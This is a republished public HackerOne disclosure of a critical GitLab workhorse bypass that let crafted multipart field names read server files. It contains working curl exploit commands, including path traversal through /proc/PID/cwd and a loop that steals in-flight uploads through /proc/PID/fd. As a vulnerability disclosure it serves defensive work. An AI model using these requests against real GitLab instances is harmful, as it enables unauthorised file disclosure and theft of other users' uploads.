HexBrain

GitLab · Report #850447

gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read

Validstatus
criticalseverity
$10,000bounty
410upvotes
8 Jun 2020disclosed

How it was found

Summary

Extracted from https://hackerone.com/reports/835455#activity-7672566

While testing and looking at the patch for the nuget package workhorse bypass (https://gitlab.com/gitlab-org/gitlab/issues/209080 I think) I came across a more widespread bypass:

# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg

# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:[email protected]/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"

{"message":"201 Created"}

Using [package] as the field name causes the @rewritten_fields to contain:

{
  "rewritten_fields": {
    "[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"
  },
  "iss": "gitlab-workhorse"
}

This is then used parsed_field = Rack::Utils.parse_nested_query(field) which ends up creating the hash {"package"=>nil} (same as package would return). This passes the validation, but the Multipart::Handler will then use the query params as they match instead of the payload that workhorse sends through.

This also allows for any file in the following to be accessed:

       def allowed_paths
          [
            ::FileUploader.root,
            Gitlab.config.uploads.storage_path,
            JobArtifactUploader.workhorse_upload_path,
            File.join(Rails.root, 'public/uploads/tmp')
          ]
        end

This could be done anywhere that accelerated uploads, eg the UploadsController or uploading a wiki file.

Using the wiki api removes the restriction that the file needs to be owned by git due to file_content: attrs[:file].read happening instead of moving the original file:

echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg

$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'

{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}

It's also fairly easy to steal incoming files tmp files that are currently opened in rails by:

  1. Determine a valid PID by looping over /proc/PID until a cwd is found and readable by git (eg the unicorn worker will have /proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working) and traverse to a valid upload path:

$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt' 500 $ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt' 201 ```

  1. Using this pid, use /proc/PID/fd/XX as the file.path (looking at my server a fd of 44 was the used pretty consistently for tmp files) and run it in a loop:

$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done ```

  1. Upload a bunch of things, eventually a file will be stolen:

{"file_name":"image.png115893730","file_path":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","branch":"master","link":{"url":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","markdown":"image.png115893730"}} ```

Steps to reproduce

  1. create a new project
  2. create a wiki page
  3. create a test file on the gitlab server: echo hello > /tmp/ggg;
  4. create a dummy file on the attackers server echo unused > /tmp/lala.txt
  5. Upload a wiki file using the crafted params bash $ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'` {"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
  6. paste the markdown into the wiki page and download the file

Impact

  • read known files in ::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')
  • read unknown inflight files by using the symlinks in /proc/PID/fd/XX belonging to other users.

Examples

What is the current bug behavior?

An attacker can specify file.* params and have gitlab believe they are valid and signed

What is the expected correct behavior?

Only params from the workhorse should be valid

Output of checks

Results of GitLab environment info

System information
System:     Ubuntu 18.04
Proxy:      no
Current User:   git
Using RVM:  no
Ruby Version:   2.6.5p114
Gem Version:    2.7.10
Bundler Version:1.17.3
Rake Version:   12.3.3
Redis Version:  5.0.7
Git Version:    2.24.1
Sidekiq Version:5.2.7
Go Version: unknown

GitLab information
Version:    12.9.3-ee
Revision:   7c13691fb8e
Directory:  /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL:        http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL:  [email protected]:some-group/some-project.git
Elasticsearch:  no
Geo:        no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version:    12.0.0
Repository storage paths:
- default:  /var/opt/gitlab/git-data/repositories
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell
Git:        /opt/gitlab/embedded/bin/git

Impact

  • read known files in ::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')
  • read unknown inflight files by using the symlinks in /proc/PID/fd/XX belonging to other users.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original